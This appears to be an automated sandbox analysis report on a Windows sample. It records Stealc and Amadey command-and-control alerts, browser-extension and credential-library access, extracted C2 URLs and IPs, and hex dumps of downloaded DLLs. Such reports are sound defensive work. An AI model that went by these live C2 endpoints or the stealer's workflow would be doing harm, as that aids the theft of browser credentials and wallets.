Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:62428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:51899 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: e8cb2646d2.exe, 0000001E.00000002.3105997108.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 0000001E.00000003.2971584224.0000000004990000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000020.00000002.3172278060.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 00000020.00000003.3131912525.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000021.00000003.3267299205.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000021.00000002.3307614636.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 12MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:62374 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:62383
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:62393 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:62391 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:62394 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:62399 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:62405 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:62401 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.6:51880 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:51511 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:62181 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 